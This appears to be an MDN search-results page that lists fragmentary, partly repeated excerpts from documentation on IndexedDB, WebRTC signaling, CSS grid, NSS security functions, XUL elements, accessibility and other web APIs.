mber has been // submitted via the window.indexeddb.open line above dbopenrequest.onupgradeneeded = function(event) { var db = event.target.result; db.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { unique: false }); objectstore.createindex("notified", "notified", ...
...b transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error. ...
...n. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...And 21 more matches
Signaling and video calling - Web APIs
lets us send signaling messages using this same server, instead of needing a separate server. let's take a look which changes we need to make to the chat server support webrtc signaling. this is in the file chatserver.js. first up is the addition of the function sendtooneuser(). as the name suggests, this sends a stringified json message to a particular username. ...
...ebrtc signaling. this is in the file chatserver.js. first up is the addition of the function sendtooneuser(). as the name suggests, this sends a stringified json message to a particular username. function sendtooneuser(target, msgstring) { var isunique = true; var i; for (i=0; i<connectionarray.length; i++) { if (connectionarray[i].username === target) { connectionarray[i].send(msgstring); break; } } } this function iterates over the list of connected users until it finds one matching the specified username, then sends the message to that user. the parameter msgstring is a stringified json object. we could have made it receive our original message object, but in this example it's more efficient this way. since the message has already been stringified, we can s...
...an send it with no further processing. each entry in connectionarray is a websocket object, so we can just call its send() method directly. our original chat demo didn't support sending messages to a specific user. the next task is to update the main websocket message handler to support doing so. this involves a change near the end of the "connection" message handler: if (sendtoclients) { var msgstring = json.stringify(msg); var i; if (msg.target && msg.target !== undefined && msg.target.length !== 0) { sendtooneuser(msg.target, msgstring); } else { for (i=0; i<connectionarray.length; i++) { connectionarray[i].send(msgstring); } } } this code now looks at the pending message to see if it has a target property. if that property is present, it specifies the user...
...And 21 more matches
Relationship of grid layout to other layout methods - CSS: Cascading Style Sheets
ime. the two specifications share some common features, however, and if you have already learned how to use flexbox, the similarities should help you get to grips with grid. one-dimensional vs. two-dimensional layout a simple example can demonstrate the difference between one- and two-dimensional layouts. in this first example, i am using flexbox to lay out a set of boxes. i have five child items in my container, and i have given the flex properties values so that they can grow and shrink from a flex-basis of 150 pixels. i have also set the flex-wrap property to wrap, so that if the space in the container becomes too narrow to maintain the flex basis, items will wrap onto a new row. * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background...
...this is where you want a two-dimensional layout method: ...
...; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { width: 500px; display: flex; flex-wrap: wrap; } .wrapper > div { flex: 1 1 150px; } in the image, you can see that two items have wrapped onto a new line. these items are sharing the available space and not lining up underneath the items above. this is because when you wrap flex items, each new row (or column when working by column) becomes a new flex container. space distribution happens across the row. a common question then is how to make those items line up. this is where you want a two-dimensional layout method: you want to control the alignment by row a...
...And 21 more matches
itemprop - HTML: Hypertext Markup Language
the itemprop global attribute is used to add properties to an item. every html element can have an itemprop attribute specified, and an itemprop consists of a name-value pair. each name-value pair is called a property, and a group of one or more properties forms an item. property values are either a string or a url and can be associated with a very wide range of elements including <audio>, <embed>, <iframe>, <img>, <link>, <object>, <source> , <track>, and <video>. ...
...operties forms an item. property values are either a string or a url and can be associated with a very wide range of elements including <audio>, <embed>, <iframe>, <img>, <link>, <object>, <source> , <track>, and <video>. examples the example below shows the source for a set of elements marked up with itemprop attributes, followed by a table showing the resulting structured data. ...
... itemprop trailer ../movies/avatar-theatrical-trailer.html properties properties have values that are either a string or a url. when a string value is a url, it is expressed using the <a> element and its href attribute, the <img> element and its src attribute, or other elements that link to or embed external resources. ...
...And 21 more matches
Enhanced Extension Installation - Archive of obsolete content
tion directory. aside from the work of locating the firefox executable in the first place (which varies from platform to platform), this is very limiting because: it forces the third party application to package its firefox integration hooks as a xpi. it forces it to have write access to the firefox directory in order to be installed, which may not always be the case. it forces its items to be located in different places on the user's disk - some vendors wish to keep all of their installed content within c:\program files\foo\ for example. there is no clean uninstall procedure, as the -install-global-extension flag was designed only as a means to install items for all user profiles, not as a means for third party installers to register their components. the system for ins...
... as a means for third party installers to register their components. the system for installation, upgrade and uninstall is not robust enough. when a newer version fo an existing extension is installed, files for the newer version are copied into the folder used by the older version, and obsolete files are not cleaned up. this can lead to incompatibilities, mysterious crashes and other problems. there are not enough guards in the upgrade and uninstall process to handle failure and abort the operation, restoring the previous state. items that are installed must be visible in the extension manager user interface, even if the extension type is just an integration hook that has no meaningful ui presence. extension installation and registration is also prohibitively difficult/annoying for ...
..., chrome registry etc to locate files during the startup process). in the profile directory, the file compatibility.ini stores information about the version of the application (build info) that last started this profile - during startup this file is checked and if the version info held by the running app disagrees with the info held by this file, a compatibility check is run on all installed items. when changes are made to the extensions datasource - new items are installed, old items uninstalled, enabled or disabled, a .autoreg file is written to the profile directory as well, which tells the startup code that the system has been modified, so that it destroys the component registries, finishes pending transactions and regenerates metadata appropriately. datasource structure the extensi...
...And 20 more matches
listbox - Archive of obsolete content
you may specify the number of rows to display in the list using the rows attribute. additional rows can be viewed using a scroll bar. a listbox is expected to contain listitem elements. all the rows in the listbox are the same height, which is the height of the tallest item in the list. ...
...ows, or with non-text content, you should instead use the richlistbox element. see list controls for more information. ...
...ject, selectedcount, selectedindex, selecteditem, selecteditems, seltype, suppressonselect, tabindex, value methods additemtoselection, appenditem, clearselection, ensureelementisvisible, ensureindexisvisible, getindexoffirstvisiblerow, getindexofitem, getitematindex, getnumberofvisiblerows, getrowcount, getselecteditem, insertitemat, invertselection, movebyoffset, removeitemat, removeitemfromselection, scrolltoindex, selectall, selectitem, selectitemrange, timedselect, toggleitemselection examples <listbox id="thelist"> <listitem label="ruby"/> <listitem label="emerald"/> <listitem label="sapphire" selected="true"/> <listitem label="diamond"/> </listbox> <listbox id="thelist" rows="10" width="400"> <listhead> <listheader label="1ct gem" width="240"/> <listhea...
...And 20 more matches
NSS functions
object mxr 3.9.2 and later pk11_getnextsafe mxr 3.4 and later pk11_getnextsymkey mxr 3.4 and later pk11_getpadmechanism mxr 3.4 and later pk11_getpbecryptomechanism mxr 3.12 and later pk11_getpbeiv mxr 3.6 and later pk11_getpqgparamsfromprivatekey mxr 3.4 and later pk11_getprevgenericobject mxr 3.9.2 and later pk11_getprivatekeynickname mxr 3.4 and later pk11_getprivatemoduluslen mxr 3.2 and later pk11_getpublickeynickname mxr 3.4 and later pk11_getslotfromkey mxr 3.2 and late...
... seckey_createdhprivatekey mxr 3.3 and later seckey_createecprivatekey mxr 3.8 and later seckey_createsubjectpublickeyinfo mxr 3.2 and later seckey_decodedersubjectpublickeyinfo mxr 3.4 and later seckey_destroyprivatekey mxr 3.2 and later seckey_ecparamstobasepointorderlen mxr 3.12 and later seckey_ecparamstokeysize mxr 3.12 and later seckey_destroypublickeylist mxr 3.4 and later seckey_destroysubjectpublickeyinfo mxr 3.2 and later seckey_getpublickeytype mxr 3.3 and later seckey_publickeystrengthinbits ...
... secitem_allocitem mxr 3.2 and later secitem_arenadupitem mxr 3.9 and later secitem_compareitem mxr 3.2 and later secitem_copyitem mxr 3.2 and later secitem_dupitem mxr 3.2 and later secitem_freeitem mxr 3.2 and later secitem_itemsareequal mxr 3.8 and later secitem_zfreeitem mxr 3.2 and later seckey_copyencryptedprivatekeyinfo mxr 3.2 and later seckey_copyprivatekeyinfo mxr 3.2 and later seckey_creatersaprivatekey mxr 3.2 and later seckey_destroyencryptedprivatekeyinfo mxr 3...
...And 20 more matches
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
confused with https://wiki.mozilla.org/thunderbird...oconfiguration . it's mission is to enable completely automatic configuration of mozilla's apps preferences based on users properties either retrieved from system environement variables or on an organisation ldap directory. situation int-evry manages about 3000 users (mostly students) who share computers in labs and "self service" computer rooms. hence a single computer might connect many different users all day long. computers are dual-boot (windows 7 and linux fedora 19 by 2013). all users have a personal account on a windows server (ad) and an ldap account for linux authentication. objective the objective is to provide users with a mailer agent, a web browser, and a news reader which are automatically configured (preferences) at sta...
...ave a personal account on a windows server (ad) and an ldap account for linux authentication. objective the objective is to provide users with a mailer agent, a web browser, and a news reader which are automatically configured (preferences) at startup to the current user connected on the computer. choosing mozilla products allow us to use the same apps while running either windows or linux systems (i suspect mac osx would be fine too). instead of configuring end user individual preferences files (~/.mozilla/default/randomdir/prefs.js) we now use a centralized default set of preferences. this centralized preference file can lock preferences (lockpref) or initialize them (defaultpref) based on environment variables (user, home...) and/or ldap queries (fetch email address, common name , lang...
... netscape.cfg/autoconfig failed. please contact your system a...
...And 19 more matches
richlistbox - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] this element is used to create a list of listitems (richlistitems), similar to a listbox, but is designed to be used when the items do not contain simple text content. note: in versions of firefox prior to firefox 3, rich list boxes support only single selection. firefox 3 introduced multiple selection to rich list boxes. ...
...or to firefox 3, rich list boxes support only single selection. firefox 3 introduced multiple selection to rich list boxes. ...
...you can ...
...And 19 more matches
Mozilla accessibility architecture
mozilla's accessibility api module, which provides support for platform accessibility apis. accessibility apis are used by 3rd party software like screen readers, screen magnifiers, and voice dictation software, which need information about document content and ui controls, as well as important events like changes of focus. mozilla supports two accessibility apis: microsoft active accessibility (msaa) on windows and accessibility tool kit (atk) on linux and unix. we do not currently support the carbon accessibility model for apple's os x. please note, the documentation for implementing an msaa server has moved. you may also wish to read gecko info for windows accessibility vendors, a primer for vendors of 3rd party accessibility software, on how msaa clients can utilize gecko's support. if ...
...ject model based on screen position. accessible tree contains only a subset of nodes from the dom tree not all dom nodes are exposed through accessibility api toolkits -- only those objects deemed important by the developers of the toolkit. mozilla keeps around its own tree of accessibility objects, which parallels the dom tree, but is not a full representation. ...
...m tree, but is not a full representation. above: a diagram showing that the msaa tree is a subset of the dom tree. the situation for other accessibility apis is similar. the problem is, what happens if there are dom nodes that the assistive technology vendors wants to know about, which are not exposed? also, what if they want to get dom information, like css rules, tag names and attributes, that msaa's iaccessible does not provide? on windows, we solve this by supporting an additional interface beyond msaa's iaccesible, for every dom node. queryinterface() can be used to switch between the two interfaces. if there is no msaa node for a dom node, paccessible->queryinterface(iid_iaccessible) will return null. in addition, some vendors had asked us to provide information and support for pieces...
...And 19 more matches
sslfnc.html
ctions listed in ssl export policy functions must also be called during nss initialization. nss_init nss_initreadwrite nss_nodb_init ssl_optionsetdefault ssl_optiongetdefault ssl_cipherprefsetdefault ssl_cipherprefgetdefault ssl_clearsessioncache ssl_configserversessionidcache ssl_configmpserversidcache ssl_inheritmpserversidcache nss_init sets up configuration files and performs other tasks required to run network security services. database files are opened read-only. syntax #include "nss.h" secstatus nss_init(char *configdir); parameter this function has the following parameter: configdir a pointer to a string containing the pathname of the directory where the certificate, key, and security module databases reside. ...
...r suites for domestic, international, and french versions of software products with encryption features. ssl_cipherpolicyset sets policy flags for individual cipher suites, one at a time. this may be helpful if you have an export license that permits more or fewer capabilities than those allowed by the other export policy functions. nss_initreadwrite sets up configuration files and performs other tasks required to run network security services. unlike nss_init, nss_initreadwrite provides both read and write access to database files. syntax #include "nss.h" secstatus nss_initreadwrite(char *configdir); parameter this function has the following parameter: configdir a pointer to a string containing the pathname of the directory where the certif...
...s some s/mime operations. before calling nss_initreadwrite, your program must call pr_init. the policy flags for all cipher suites are turned off by default, disallowing all cipher suites. therefore, an application cannot use nss to perform any cryptographic operations until after it enables appropriate cipher suites by calling one of the ssl export policy functions. nss_nodb_init performs tasks required to run network security services without setting up configuration files. important: this nss function is not intended for use with ssl, which requires that the certificate and key database files be opened. syntax #include "nss.h" secstatus nss_nodb_init(char *reserved); parameter this function has the following parameter: reserved should b...
...And 19 more matches
Permissions - Web APIs
g draft initial definition. browser support the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ie no support noopera ? safari ...
... ? safari no support nowebview android full support 62chrome android full support 62firefox android ? opera android ? safari ios no support nosamsung internet android full support 8.0accessibility-events permissionchrome full support 62edge full support 79firefox ? ie no support noopera ? safari ...
...And 19 more matches
Box alignment in CSS Grid Layout - CSS: Cascading Style Sheets
this specification details how alignment should work in all the different layout methods. layout methods will conform to the specification where possible and implement individual behavior based on their differences (features and constraints). while the specification currently specifies alignment details for all layout methods, browsers have not fully implemented all of the specification; however, the css grid layout method has been widely adopted. ...
...axis. the block axis is the axis upon which blocks are laid out in block layout. if you have two paragraphs on your page they display one below the other, so it is this direction we describe as the block axis. the inline axis runs across the block axis, it is the direction in which text in regular inline flow runs. ...
...ich blocks are laid out in block layout. if you have two paragraphs on your page they display one below the other, so it is this direction we describe as the block axis. the inline axis runs across the block axis, it is the direction in which text in regular inline flow runs. we are able to align the content inside grid areas, and the grid tracks themselves on these two axes. ...
...And 19 more matches
context-menu - Archive of obsolete content
adds items, submenus, and menu separators to the page's context menu. usage instead of manually adding items when particular contexts occur and then removing them when those contexts go away, you bind items to contexts, and the adding and removing is automatically handled for you. items are bound to contexts in much the same way that event listeners are bound to events. when the user invokes the context menu, all of the items bound to the current context are automatically added to the menu. if no items are bound, none are added. likewise, any items that were previously in the menu but are not bound to the current context are automatically removed from the menu. you never need to manually remove your items from the menu unless you want them to never appear again. for example, if your ad...
...enu. you never need to manually remove your items from the menu unless you want them to never appear again. for example, if your add-on needs to add a context menu item whenever the user visits a certain page, don't create the item when that page loads, and don't remove it when the page unloads. rather, create your item only once and supply a context that matches the target url. context menu items are displayed in the order created or in the case of sub menus the order added to the sub menu. menu items for each add-on will be grouped together automatically. ...
...certain page, don't create the item when that page loads, and don't remove it when the page unloads. rather, create your item only once and supply a context that matches the target url. context menu items are displayed in the order created or in the case of sub menus the order added to the sub menu. menu items for each add-on will be grouped together automatically. if the total number of menu items in the main context menu from all add-ons exceeds a certain number (normally 10 but configurable with the extensions.addon-sdk.context-menu.overflowthreshold preference) all of the menu items will instead appear in an overflow menu to avoid making the context menu too large. specifying contexts as its name implies, the context menu should be reserved for the occurrence of specific contexts. con...
...And 18 more matches
Parser API
note: this page describes spidermonkey-specific behavior and might be incomplete. visit estree spec for a community ast standard that includes latest ecmascript features and is backward-compatible with spidermonkey format. ...
...the bo...
...tart: position; end: position; } each position object consists of a line number (1-indexed) and a column number (0-indexed): interface position { line: uint32 >= 1; column: uint32 >= 0; } programs interface program <: node { type: "program"; body: [ statement ]; } a complete program source tree. functions interface function <: node { id: identifier | null; params: [ pattern ]; defaults: [ expression ]; rest: identifier | null; body: blockstatement | expression; generator: boolean; expression: boolean; } a function declaration or expression. the body of the function may be a block statement, or in the case of an expression closure, an expression. note: expression closures are spidermonkey-specific. if the generator flag is true, the...
...And 18 more matches
IDBDatabase - Web APIs
methods inherits fr...
... methods inherits from: eventtarget idbdatabase.close() returns immediately and closes the connection to a database in a separate thread. ...
...indexeddb.open line above dbopenrequest.onupgradeneeded = function(event) { var db = event.target.result; db.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; // create an objectstore for this database using // idbdatabase.createobjectstore var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { unique: false }); objectstore.createindex("notified", "notified", ...
...And 18 more matches
SVGStringList - Web APIs
svg string list interface the svgstringlist defines a list of domstring objects. an svgstringlist object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown. ...
... svg string list interface the svgstringlist defines a list of domstring objects. an svgstringlist object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown. ...
... svg string list interface the svgstringlist defines a list of domstring objects. an svgstringlist object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown. ...
...And 18 more matches
WebGL best practices - Web APIs
the only errors a well-formed page generates are out_of_memory and context_lost. know your limits (and extensions) the availability of most webgl extensions depends on the client system. when using webgl extensions, if possible, try to make them optional by gracefully adapting to the case there they are not supported. ...
...derivatives oes_vertex_array_object webgl_debug_renderer_info webgl_lose_context (see also: https://jdashg.github.io/misc/webgl/webgl-feature-levels.html) consider polyfilling these into webglrenderingcontext, like: https://github.com/jdashg/misc/blob/master/webgl/webgl-v1.1.js universally supported limits the minimum requirements for webgl are quite low. ...
...els.html) consider polyfilling these into webglrenderingcontext, like: https://github.com/jdashg/misc/blob/master/webgl/webgl-v1.1.js universally supported limits the minimum requirements for webgl are quite low. ...
...And 18 more matches
Microsoft CSS extensions - CSS: Cascading Style Sheets
microsoft applications such as edge and internet explorer support a number of special microsoft extensions to css. these extensions are prefixed with -ms-. microsoft-only properties (avoid using on websites) note: these properties will only work in microsoft applications, and are not on a standards track. ...
... microsoft applications such as edge and internet explorer support a number of special microsoft extensions to css. these extensions are prefixed with -ms-. microsoft-only properties (avoid using on websites) note: these properties will only work in microsoft applications, and are not on a standards track. ...
... microsoft applications such as edge and internet explorer support a number of special microsoft extensions to css. these extensions are prefixed with -ms-. microsoft-only properties (avoid using on websites) note: these properties will only work in microsoft applications, and are not on a standards track. ...
...And 18 more matches
Server-side web frameworks - Learn web development
httprequest (request) # perform operations using information from the request. # return httpresponse return httpresponse('output string to return') route requests to the appropriate handler most sites will provide a number of different resources, accessible through distinct urls. handling these all in one function would be hard to maintain, so web frameworks provide simple mechanisms to map url patterns to specific handler functions. this approach also has benefits in terms of maintenance, because you can change the url used to deliver a particular feature without having to change the underlying code. different frameworks use different mechanisms for the mapping. for example, the flask (python) web framework adds routes to view functions using a decorator. @app.route("/") d...
...er may encode what data is required in url parameters or within the url structure. an http post request to update a resource on the server will instead include the update information as "post data" within the body of the request. the http request may also include information about the current session or user in a client-side cookie. web frameworks provide programming-language-appropriate mechanisms to access this information. for example, the httprequest object that django passes to every view function contains methods and properties for accessing the target url, the type of request (e.g. an http get), get or post parameters, cookie and session data, etc. django can also pass information encoded in the structure of the url by defining "capture patterns" in the url mapper (see the last code ...
... the object used to define the structure of a record as the model. the model specifies the field types to be stored, which may provide field-level validation on what information can be stored (e.g. an email field would only allow valid email addresses). the field definitions may also specify their maximum size, default values, selection list options, help text for documentation, label text for forms etc. the model doesn't state any information about the underlying database as that is a configuration setting that may be changed separately of our code. the first code snippet below shows a very simple django model for a team object. this stores the team name and team level as character fields and specifies a maximum number of characters to be stored for each record. the team_level is a choice ...
...And 17 more matches
S/MIME functions
tions listed here perform s/mime operations using the s/mime toolkit. the mozilla cross reference (mxr) link for each function provides access to the function definition, prototype definition, and source code references. the nss version column indicates which versions of nss support the function. ...
...zilla cross reference (mxr) link for each function provides access to the function definition, prototype definition, and source code references. the nss version column indicates which versions of nss support the function. ...
...on definition, prototype definition, and source code references. the nss version column indicates which versions of nss support the function. ...
...And 17 more matches
NSS Tools modutil
t in a specified directory, the security module database tool displays an error message. -list [modulename] display basic information about the contents of the secmod.db file. use modulename to display detailed information about a particular module and its slots and tokens. -add modulename add the named pkcs #11 module to the database. use this option with the -libfile, -ciphers, and -mechanisms arguments. -jar jar-file add a new pkcs #11 module to the database using the named jar file. use this option with the -installdir and -tempdir arguments. the jar file uses the netscape server pkcs #11 jar format to identify all the files to be installed, the module's name, the mechanism flags, and the cipher flags. the jar file should also contain any files to be installed on the target machine...
...lete the netscape communicator internal pkcs #11 module. -changepw tokenname change the password on the named token. if the token has not been initialized, this option initializes the password. use this option with the -pwfile and -newpwfile arguments. in this context, the term "password" is equivalent to a personal identification number (pin). -default modulename specify the security mechanisms for which the named module will be a default provider. the security mechanisms are specified with the -mechanisms mechanism-list argument. -undefault modulename specify the security mechanisms for which the named module will not be a default provider. the security mechanisms are specified with the -mechanisms mechanism-list argument. -enable modulename enable all slots on the named module. us...
...file containing the implementation of the pkcs #11 interface module that is being added to the database. -ciphers cipher-enable-list enable specific ciphers in a module that is being added to the database. the cipher-enable-list is a colon-delimited list of cipher names. enclose this list in quotation marks if it contains spaces. the following cipher is currently available: fortezza. ...
...And 17 more matches
nsIDOMElement
dom/interfaces/core/nsidomelement.idlscriptable this interface represents an element in an html or xml document. ...
... dom/interfaces/core/nsidomelement.idlscriptable this interface represents an element in an html or xml document. ...
... dom/interfaces/core/nsidomelement.idlscriptable this interface represents an element in an html or xml document. ...
...And 17 more matches
Demo Addon
shown, it's recommended that you download the add-on and have a look at its files. the basics the interesting parts covered in this article are in the content folder. the toolbar button and its functionality are defined in overlay.xul and overlay.js. we make use of fixiterator(). it is a handy library that keeps your code cleaner and simpler. it lets you iterate over any collection and transforms your collection elements in the given objects, to use fixiterator, you have to import it with cu.import("resource:///modules/iteratorutils.jsm");. demo 1 - iterate over all the accounts this demo is implemented in demo1.html in the content folder. it lists all your email accounts with their account type - either pop3 or imap - and the associated email addresses. let data = []; for each (let ac...
...terator, you have to import it with cu.import("resource:///modules/iteratorutils.jsm");. demo 1 - iterate over all the accounts this demo is implemented in demo1.html in the content folder. it lists all your email accounts with their account type - either pop3 or imap - and the associated email addresses. ...
...; for each (let account in fixiterator(mailservices.accounts.accounts, ci.nsimsgaccount)) { let info = { server: null, type: null, emails: [], name: null, }; let server = account.incomingserver; if (server) { info.server = server.prettyname; info.type = server.type; } for each (let id in fixiterator(account.identities, ci.nsimsgidentity)) { // we're only interested in identities that have a real email. if (id.email) info.emails.push(id.email); } data.push(info); } first, we use fixiterator() here to get all accounts in your profile. each account is a nsimsgaccount. ...
...And 17 more matches
MathML attribute reference - MathML
see values for notes on values and units in mathml. the attributes background, color, fontfamily, fontsize, fontstyle, fontweight and xlink:href are deprecated. the xlink attributes on mathml elements: xlink:actuate, xlink:href, xlink:show and xlink:type are deprecated as well. ...
...>, <munderover> a boolean value specifying whether the operator should be treated as an accent. accentunder <munder>, <munderover> a boolean value specifying whether the operator should be treated as an accent. actiontype <maction> a string value specifying the action happening for this element. align <mtable> <munder>, <mover>, <munderover> <mstack> specifies different alignments of several elements (see element pages for details). unimplemented alignmentscope <mtable> a boolean value specifying whether table columns should act as alignment scopes or not. unimplemented altimg altimg-width altimg-height altimg-valign alttext <math> visual and textual fall-back options. bevelle...
...specifying whether table columns should act as alignment scopes or not. unimplemented altimg altimg-width altimg-height altimg-valign alttext <math> visual and textual fall-back options. bevelled <mfrac> specifies the style how the fraction should be displayed. deprecated. use u+2044 (fraction slash) instead. unimplemented charalign <mstack> specifies the horizontal alignment of digits. close <mfenced> a string for the closing delimiter. columnalign <mtable>, <mtd>, <mtr>, <mlabeledtr> specifies the horizontal alignment of table cells. columnlines <mtable> specifies table column borders. columnspacing <mtable> specifies the space between table columns. colum...
...And 17 more matches
Web video codec guide - Web media technologies
owever, things such as frame rate and, obviously, resolution will always have an impact on the output size of the media. additionally, all codecs have their strengths and weaknesses. some have trouble with specific kinds of shapes and patterns, or aren't good at replicating sharp edges, or tend to lose detail in dark areas, or any number of possibilities. it all depends on the underlying algorithms and mathematics. the potential effect of source video format and contents on the encoded video quality and size feature effect on quality effect on size color depth (bit depth) the higher the color bit depth, the higher the quality of color fidelity is achieved in the video. additionally, in saturated portions of the image (that is, where colors are pure and inten...
...affect the resulting encoded video will vary depending on the precise details of the situation, including which encoder you use and how it's configured. in addition to general codec options, the encoder could be configured to reduce the frame rate, to clean up noise, and/or to reduce the overall resolution of the video during encoding. effect of codec configuration on encoded output the algorithms used do encode video typically use one or more of a number of general techniques to perform their encoding. generally speaking, any configuration option that is intended to reduce the output size of the video will probably have a negative impact on the overall quality of the video, or will introduce certain types of artifacts into the video. it's also possible to select a lossless form of encodin...
...encoder configuration effects on quality and size feature effect on quality effect on size lossless compression no loss of quality lossless compression cannot reduce the overall video size nearly as much as lossy compression; the resulting files are likely to still be too large for general usage. ...
...And 17 more matches
XPCOM Stream Guide
Mozilla › Tech › XPCOM › Guide › Streams
it is not that sequence of characters, though: the characters may not all be available when you read from the stream. think of a water tank with a spout: the tank may be full, or it may be half-full, or it may be empty. the spout controls how much water you can get out of the tank at a time. the spout is a source of water. if we think of the water as data, then the spout represents an input stream: a controller for data coming out of something. at the same time, there may be some way to put water into the tank - say, a main water line. that water line represents an output stream: a controller for data going into something. ...
... think of the water as data, then the spout represents an input stream: a controller for data coming out of something. at the same time, there may be some way to put water into the tank - say, a main water line. that water line represents an output stream: a controller for data going into something. the actual data going in to and coming out of an object isn't usually important to a stream. ...
... may be some way to put water into the tank - say, a main water line. that water line represents an output stream: a controller for data going into something. the actual data going in to and coming out of an object isn't usually important to a stream. streams simply provide a way to read or write data to some object. in basic c++ programming for a console application, we usually talk about streams to access files, or to interact with the user. mozilla's use of streams is more complex. ...
...And 16 more matches
Fullscreen API - Web APIs
ogglefullscreen() { if (!document.fullscreenelement) { document.documentelement.requestfullscreen(); } else { if (document.exitfullscreen) { document.exitfullscreen(); } } } this starts by looking at the value of the document's fullscreenelement attribute. in a real-world deployment, at this time, you'll want to check for prefixed versions of this (mozfullscreenelement, msfullscreenelement, or webkitfullscreenelement, for example). if the value is null, the document is currently in windowed mode, so we need to switch to full-screen mode; otherwise, it's the element that's currently in full-screen mode. switching to full-screen mode is done by calling element.requestfullscreen() on the <video> element. if full-screen mode is already active (fullscreenelement is not...
...ard browser compatibility document.fullscreen the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... support 50 full support 14alternate name alternate name uses the non-standard name: webkitisfullscreensafari ios full support 6alternate name full support 6alternate name alternate name uses the non-standard name: webkitisfullscreensamsung internet android full support 10.0 full support 10.0 full support 1.0alternate name alternate name uses the non-standard name: webkitisfullscreenlegend full support full support ...
...And 16 more matches
IDBTransaction - Web APIs
o write the data but potentially before that data has actually been flushed to disk. the complete event may thus be delivered quicker than before, however, there exists a small chance that the entire transaction will be lost if the os crashes or there is a loss of system power before the data is flushed to disk. since such catastrophic events are rare, most consumers should not need to concern themselves further. if you must ensure durability for some reason (e.g. you're storing critical data that cannot be recomputed later) you can force a transaction to flush to disk before delivering the complete event by creating a transaction using the experimental (non-standard) readwriteflush mode (see idbdatabase.transaction. properties idbtransaction.db read only the database connection with ...
...successful transaction. this property is null if the transaction is not finished, is finished and successfully committed, or was aborted with theidbtransaction.abort() function. idbtransaction.mode read only the mode for isolating access to data in the object stores that are in the scope of the transaction. the default value is readonly. idbtransaction.objectstorenames read only returns a domstringlist of the names of idbobjectstore objects associated with the transaction. methods inherits from: eventtarget idbtransaction.abort() rolls back all the changes to objects in the database associated with this transaction. if this transaction has been aborted or completed, this method fires an error event. idbtransaction.objectstore() returns an idbobjectstore object representing an ...
...tion, ready to add data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error. ...
...And 16 more matches
Microdata DOM API - Web APIs
emented in some browsers for a long time. nowadays, they have been abandoned and removed from all browsers and are therefore deprecated. you can't use them anymore and this document is kept as information only. microdata becomes even more useful when scripts can use it to expose information to the user, for example offering it in a form that can be used by other applications. ...
...abandoned and removed from all browsers and are therefore deprecated. you can't use them anymore and this document is kept as information only. microdata becomes even more useful when scripts can use it to expose information to the user, for example offering it in a form that can be used by other applications. the document.getitems(typenames) method provides access to the top-level microdata items. ...
...are therefore deprecated. you can't use them anymore and this document is kept as information only. microdata becomes even more useful when scripts can use it to expose information to the user, for example offering it in a form that can be used by other applications. the document.getitems(typenames) method provides access to the top-level microdata items. it returns a nodelist containing the items with the specified types, or all types if no argument is specified. ...
...And 16 more matches
Accessibility documentation index - Accessibility
how to use the markup's intended meaning while supporting live regions as an area for screen readers to innovate and compete. 4 aria test cases aria, accessibility for each example we test the "expected" results with assistive technologies, for each browser that at supports wai-aria in. where a failure occurs we will test the browser for api incorrectness, using tools such as msaa inspect. this must be done in order to determine where to file a bug (browser or at). 5 aria annotations aria, accessibility, wai-aria, annotations, comments, details, suggestions wai-aria version 1.3 sees the addition of a set of new features, collectively known as aria annotations, which allow the creation of accessible annotations inside web documents. typical use cases ...
...o display a discreet alert or notification which does not require user interaction. while these changes are usually visually apparent to users who can see the page, they may not be obvious to users of assistive technologies. aria live regions fill this gap and provide a way to programmatically expose dynamic content changes in a way that can be announced by assistive technologies. ...
...ly apparent to users who can see the page, they may not be obvious to users of assistive technologies. aria live regions fill this gap and provide a way to programmatically expose dynamic content changes in a way that can be announced by assistive technologies. ...
...And 16 more matches
Places Developer Guide
3. it provides code samples for many common use-cases, such as crud operations, searching, and observing. overview places is the umbrella term for a set of apis for managing browsing history and uri metadata first introduced in firefox 3. it encompasses history, bookmarks, tags, favicons, and annotations. there are two models of identity in the system: uris, and unique integer identifiers for items in the bookmark system. some of the apis are uri-centric, some use item ids. the api signature and context usually make clear which is required. bookmarks the toolkit bookmarks service is nsinavbookmarksservice: var bookmarks = cc["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(ci.nsinavbookmarksservice); this service provides methods for adding, editing and deleting ...
... the bookmark system. some of the apis are uri-centric, some use item ids. the api signature and context usually make clear which is required. ...
... and context usually make clear which is required. bookmarks the toolkit bookmarks service is nsinavbookmarksservice: var bookmarks = cc["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(ci.nsinavbookmarksservice); this service provides methods for adding, editing and deleting items in the bookmarks collection. ...
...And 15 more matches
Realizing common layouts using CSS Grid Layout - CSS: Cascading Style Sheets
